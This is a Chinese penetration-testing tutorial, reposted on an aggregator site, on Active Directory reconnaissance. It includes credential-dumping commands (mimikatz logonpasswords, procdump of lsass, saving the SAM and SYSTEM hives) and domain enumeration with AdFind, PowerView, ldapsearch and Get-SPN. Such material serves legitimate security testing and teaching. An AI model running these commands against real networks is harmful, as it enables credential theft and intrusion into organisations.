ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

域渗透-信息收集

2022-03-02 14:00:09  阅读:493  来源: 互联网

标签:exe 收集 账号 渗透 DC 信息 查询 com


域渗透-信息收集

本文的ldap部分内容也发布至朋友运维的微信公众号:https://mp.weixin.qq.com/s/t_XidiNJvBIOIkUk_jFjig

在域中,往往一些目标是我的重点关注对象,比如exchange邮件服务器,比如域控,比如运维管理员的主机,比如堡垒机,我们信息收集主要就是去获取这些关键服务器的信息

判断主机是否在域内

使用systeminfo查看

systeminfo

在域环境下会显示

通常net view 会出错,可使用其他域查询命令

net user /domain

抓取hash

mimikatz使用小技巧

#一条命令,会在当前目录下生成mimikatz.log

.\mimikatz.exe log "privilege::debug" "sekurlsa::logonpasswords" exit

服务器上抓取

mimikatz抓hash,一般上传上去或者下载信息下来本地抓,但是上传上去后后续修改票据也可以用到mimikatz,必须要system权限才可以

mimikatz.exe "privilege::debug"

sekurlsa::logonpasswords

那么我们不是system权限,但是是administrator权限,执行失败

导出本地抓取-使用procdump

导出后本地抓取,需要system权限运行powershell或者cmd

#下载个procdump,https://docs.microsoft.com/zh-cn/sysinternals/downloads/procdump

#上传procdump.exe

procdump.exe -accepteula -ma lsass.exe lsass.dmp

#拷贝lsass.dmp下来,本地运行

mimikatz.exe "sekurlsa::minidump lsass.dmp"

sekurlsa::logonpasswords

抓取后会在当前目录生成一个lsass.dmp

之后运行将lsass.dmp复制到本地,即可

mimikatz.exe log "sekurlsa::minidump lsass.dmp" "sekurlsa::logonpasswords" exit

导出抓取-从sam数据库提取

导出有2种方式

1.从注册表里面导出hiv

2.从C:\\System32\Config\sam 中提取

从注册表中导出
reg save hklm\sam sam.hiv
reg save hklm\system system.hiv

sam.hivsystem.hiv 复制到本地运行即可

mimikatz.ex log "lsadump::sam /sam:sam.hiv /system:system.hiv" exit

跑出来结果如下

查看历史登录账号

quser

查看域分组

net group "Domain Controllers" /domain

查看域主机

net group "domain controllers" /domain

获取域控ip,记住不需要加后面的$符号

ping DC01

查看域的密码策略

net accounts /domain

ldap查询语法

ldap是在域中独有的协议,能去查询域里面活动目录的基本信息,方便过滤有用的信息

ldap 是去查活动目录,活动目录是域控上的一个服务,正常情况下域控会开放一个389端口,这个端口就是供域内成员获取活动目录信息的,而活动目录相当于一个数据库,他的结构是树形的,我们可以一级一级的获取信息

去查活动目录是为了摸清楚整个域内的人员和服务器架构,因为每个人员都会记录描述身份,服务器的提供服务细节等详细信息,比通常的net user /domain之类的查询更加的详细,而我们再查询中关注的点为,用户,主机,域控,组织

在域控上运行中可使用adsiedit.msc工具,尝试普通的域主机不能打开该服务

打开后就是如下的页面

先明确几个概念,因为用户或者主机入域都会带有他自身的信息,比如属于哪个部门,比如姓名是啥,在域内这些信息都是公开的

在这个ldap查询的活动目录里面每个标志代表信息关系如下,套用安全客https://www.anquanke.com/post/id/195100 的图片

可以看到整个活动目录是一个树结构,每个节点都有他的信息

比如bob节点,他的属性有:uid=bob,ou=people,dc=acme,dc=org

这些属性对于这个节点叫做DN,而他的本身的属性比如uid=bob叫做RDN

而往往目录下会有3个标识,我们查询也会用到

  • CN:Common Name
  • OU:Organizational Unit
  • DC:Domain Controller

他具有非常简单的查询语法

用与号 (&) 表示的 AND 运算符。
用竖线 (|) 表示的 OR 运算符。
用感叹号 (!) 表示的 NOT 运算符。
用名称和值表达式的等号 (=) 表示的相等比较。
用名称和值表达式中值的开头或结尾处的星号 (*) 表示的通配符。

这里拿adfind举例(后面会详细归纳几个工具),查找primaryGroupID=513 sAMAccountName=Shi.zuan的用户

./adfind.exe -f "&(sAMAccountName=Shi.zuan)(&(primaryGroupID=513)(objectcategory=person))"

其实可以从上面看到,每条记录都会有一堆属性,而我们要使用语法去检索出对应人员或主机的信息,因为一口气全跑的话,比较大的域可能有上千条记录

域内组和OU

查询域内所有组

.\AdFind.exe -s subtree -bit -f "(objectclass=group)" -dn

对于分组我们可以大致画一个图

我们再域内生成的账号,在第一步他会自动默认为全局组账号,之后再由管理员分配到对应的域本地组里面去

OU

ou和组是2个东西,组是一堆均有一样权限的账号的集合,OU是逻辑的账号归属划分

举个例子CN=人事部,OU=上海总部,DC=klion,DC=localOU=法务部,OU=上海总部,DC=klion,DC=local 这个是2个组织部门,他们的OU是不同的

那么每个部门假设都有一个网络运维人员,比如人事部是刘强,法务部是朱琳,那么这个时候刘强和朱琳在组中又是属于同一组,而OU不是同一个

域账号信息

每个域账号都有自己的信息,比如姓名,部门,描述,分组,账号创建时间,设置密码时间,上次登录时间等等,和直接的net user /domain比起来,前者具有更加详细的信息,而后者只是将账号进行一个罗列而已

在活动目录中,登录账号是UserPrincipalName字段和sAMAccountName字段

域主机

域主机其实没有啥特别的信息,主要就是去定位某些电脑是做什么的,域控是哪一个ip这些作用

但是域主机有个非常有用的地方在于,域主机的objectclass是继承的user这个类,user这个类是域用户的信息,那么域主机继承了user这个类,他就具有user这个类的属性,简而言之就是域主机能登录到域服务器中,他的登录账号为 主机名$

我们往往会遇到这么一个场景登录了一台属于域环境的主机,但是当前登录的账号里面没有域账号登录记录,并且当前账号仅为本地账号

上面这个场景中有个账号通用能访问到域里面的资产,即该主机账号

举个例子,当前主机账号为Ceshi1,为主机账号,无法访问到域

但这个ceshi1账号是administrator组的账号,可以提升到system,借助psexec提升到system权限,会显示拒绝访问

失败的原因是cmd不是管理员身份起的,再次使用管理员运行powershell或者cmd,此次的adfind同样不具备域访问凭证

使用psexec.exe提升至system权限

再次使用adfind.exe

ldap参数

从上面的例子可以看出,我们有3个参数查到这钻石这个用户,分别是sAMAccountName=Shi.zuan,primaryGroupID=513,objectcategory=person

这里的sAMAccountName和primaryGroupID不难看出就是钻石这个用户的属性值

而objectcategory这个参数表示该记录是属于哪一个目录的,在活动目录中有着2个比较重要的定位参数,一个叫objectcategory,另一个叫objectClass

objectClass

这个参数表示当前信息是属于哪一个类型的并且他的父类是什么,每一个记录都是一个类,有些记录在不同的目录下,但他们的数据结构相同他们也是一个类

下图这个人事部,这个"文件夹"的属性为top;organizationalUnit , 他这个类叫做organizationalUnit,他的父类叫做top

在看上海总部这个"文件夹",他的属性同样为top;organizationalUnit

那么我们再检索organizationalUnit这个类的时候,则会把相同格式属性的类("文件夹")罗列出来

objectcategory

这个参数表示当前信息是属于哪一条目录下的,像我们平时用的C:\User\Administrator\xxx 这样的目录,在活动目录中,我们同样有这样的目录,只是结构是OU=人事部,OU=上海总部,DC=klion,DC=local,对应的可视化界面如下,其实类比过来是一样的

那么使用工具进行查询,这条参数不是上图中上放的目录,是属性中的objectcategory属性信息

上图他属性众多,为了方便有时候可用只去查他的最近的一个属性,而这个属性其实和objectclass差不多,有些可能有细微的区别

比如上图查询的"文件夹"的记录,他最后一位的dn是CN=Organizational-Unit,他的标识属性为:organizationalUnit

工具使用

ldap查询场景分为3种,域外linux发起查询域外windows发起查询域内windows发起查询,因为域这个系统99%都是windows主机,那么在域内一般都是windows的系统

域外发起的比较鸡肋,你必须要知道一个域用户的账号密码才可以,在特定的条件下才能发挥作用。

域外linux

需要用到ldapsearch工具,在利用前需要知道dc的ip,以及一个域成员用户的账号密码

#下载
apt-get install ldap-utils

#利用方式
ldapsearch -x -H ldap://192.168.1.1:389 -D "CN=testa,CN=Users,DC=test,DC=com" -w DomainUser123! -b "DC=test,DC=com" "(&(objectCategory=computer)(objectClass=computer))"

上面的参数, -H ldap://域控ip:389 , 已获取的其中一个域成员信息账号密码 -D "CN=testa,CN=Users,DC=test,DC=com" -w DomainUser123!

域外windows

https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1

下载使用该工具

#先引入
Import-Module PowerView.ps1

#先载入用户名和密码
$uname="testa"                                                      
$pwd=ConvertTo-SecureString "DomainUser123!" -AsPlainText –Force                   
$cred=New-Object System.Management.Automation.PSCredential($uname,$pwd)    

#查询域用户
Get-NetUser -Domain test.com -DomainController 192.168.1.1 -ADSpath "LDAP://DC=test,DC=com" -Credential $cred

#查询域主机
Get-NetComputer -Domain test.com -DomainController 192.168.1.1 -ADSpath "LDAP://DC=test,DC=com" -Credential $cred

#查询域组
Get-Netgroup -Domain test.com -DomainController 192.168.1.1 -ADSpath "LDAP://DC=test,DC=com" -Credential $cred
域内信息收集

因为已经在域内了,信息收集非常方便

powerview.ps1

https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1

域外使用powerview,同样域内信息收集也可以使用powerview.ps1,并且因为已经在域内了,不再需要去输入账号密码

#先引入
Import-Module PowerView.ps1

#使用只查询域用户姓名信息
Get-NetUser | fl name

因为这里已经在域内,不带-Domain, -DomainController等参数也能查询是因为,他默认查询当前账号所在的域的信息

如果想要全面的信息,直接使用

Get-NetUser > log.txt

其他利用

#查询主机
Get-Netcomputer

#查询组
Get-Netgroup

这里注意下查询组的结果并不和net group /domain的结果完全一直,需要区分个概念,活动目录记录的是每台计算机或者用户的信息,他是可以编辑的相当于一个人员名册,而net group /domain是账号的权限划分

net group /domain 的结果

ADexplorer

ADexplorer为windows下查看ldap活动目录的一个常用的图形化工具

下载方式

wget http://live.sysinternals.com/ADExplorer.exe

打开后为如图所示界面,当你与域控建立有效通讯时,直接点击ok即可用当前账号登录成功

点击放大镜使用搜索语法

Adfind

adfind是windows域环境下的一个非常常用的命令工具

他的运行参数格式如下

AdFind.exe -b [域信息] -f [过滤条件] [返回属性]

#域信息一般是 DC=xxx,DC=local 这样的形式,如果账号已经在域内可以不填,如果有多个域可以访问,则需要填写

#过滤条件 一般为ldap的查询语法,使用""进行包裹

#返回属性为我们希望展示的数据,如果不填则一并返回

这里如果要使用xxx:AND:=111 这样的形式查询对应位数的信息时,一定要加上-bit参数,如果不加-bit则不会出数据

AdFind.exe -f "(grouptype:AND:=2)" -bit

比如去查询该域下面,人员信息的邮箱信息情况

我们也可以通过-c返回总共有多少条记录

AdFind.exe -f "(objectcategory=person)" -c

查询域内所有通用组

通用组即在访问林中所有的资产,如果查询该域内的通用组,即查到的组即也可以请求其他域中的资产

.\AdFind.exe -s subtree -bit -f "(&(objectclass=group)(grouptype:AND:=8))" -dn

查询域内所有全局组

全局组作用是他是一某一个域内创建的组,可以理解为刚新创一个域账号时他是属于全局组的,在域内可以登录域内主机,而它又被其他域进行了受信,即他即能访问本域的资产,又可以访问授信域的资产

.\AdFind.exe -s subtree -bit -f "(&(objectclass=group)(grouptype:AND:=2))" -dn

查询域内所有域本地组

域本地组即在域内可以活动的组信息

.\AdFind.exe -s subtree -bit -f "(&(objectclass=group)(grouptype:AND:=4))" -dn 

AdFind我们可以去查各种属性,当然也可用它去查路径就比如这里的图片上方的 Path这个路径

.\AdFind.exe -b OU=人事部,OU=上海总部,DC=klion,DC=local

使用-tdc转换时间为可读时间

.\AdFind.exe -bit -f "&(objectclass=person)(sAMAccountName=Oadmin)" -tdc

没转换前是这样的时间戳

转换后

Get-SPN

https://github.com/nullbind/Powershellery/edit/master/Stable-ish/Get-SPN/Get-SPN.psm1

SPN 这个参数全称为ServicePrincipleName, 这个参数会记录即登录账号名称,但是往往在域中为了方便管理,通常会去把一些特定账号比如oa,mysql等等以服务的名字取命令登录账号。

get-spn能够快速找到域管用户登陆服务器记录和快速定位一些特殊服务器

#加载模块
Import-Module ./Get-SPN.psm1

#使用查找域管组登录过的服务
Get-SPN -type group -search "Domain Admins" -List yes | Format-Table –Autosize

#查找系统中一些特殊服务,以mssql为例
Get-SPN  -type service -search "MSSQLSvc*" -List yes | Format-Table –Autosize

参考文章

https://wooyun.js.org/drops/使用LDAP查询快速提升域权限.html

https://wooyun.js.org/drops/从活动目录获取域管理员权限的各种姿势.html

https://3gstudent.github.io/渗透基础-活动目录信息的获取

https://www.anquanke.com/post/id/195100

https://www.anquanke.com/post/id/195737

https://www.anquanke.com/post/id/196510

https://www.anquanke.com/post/id/197113

https://www.anquanke.com/post/id/197329

标签:exe,收集,账号,渗透,DC,信息,查询,com
来源: https://www.cnblogs.com/sijidou/p/15954681.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有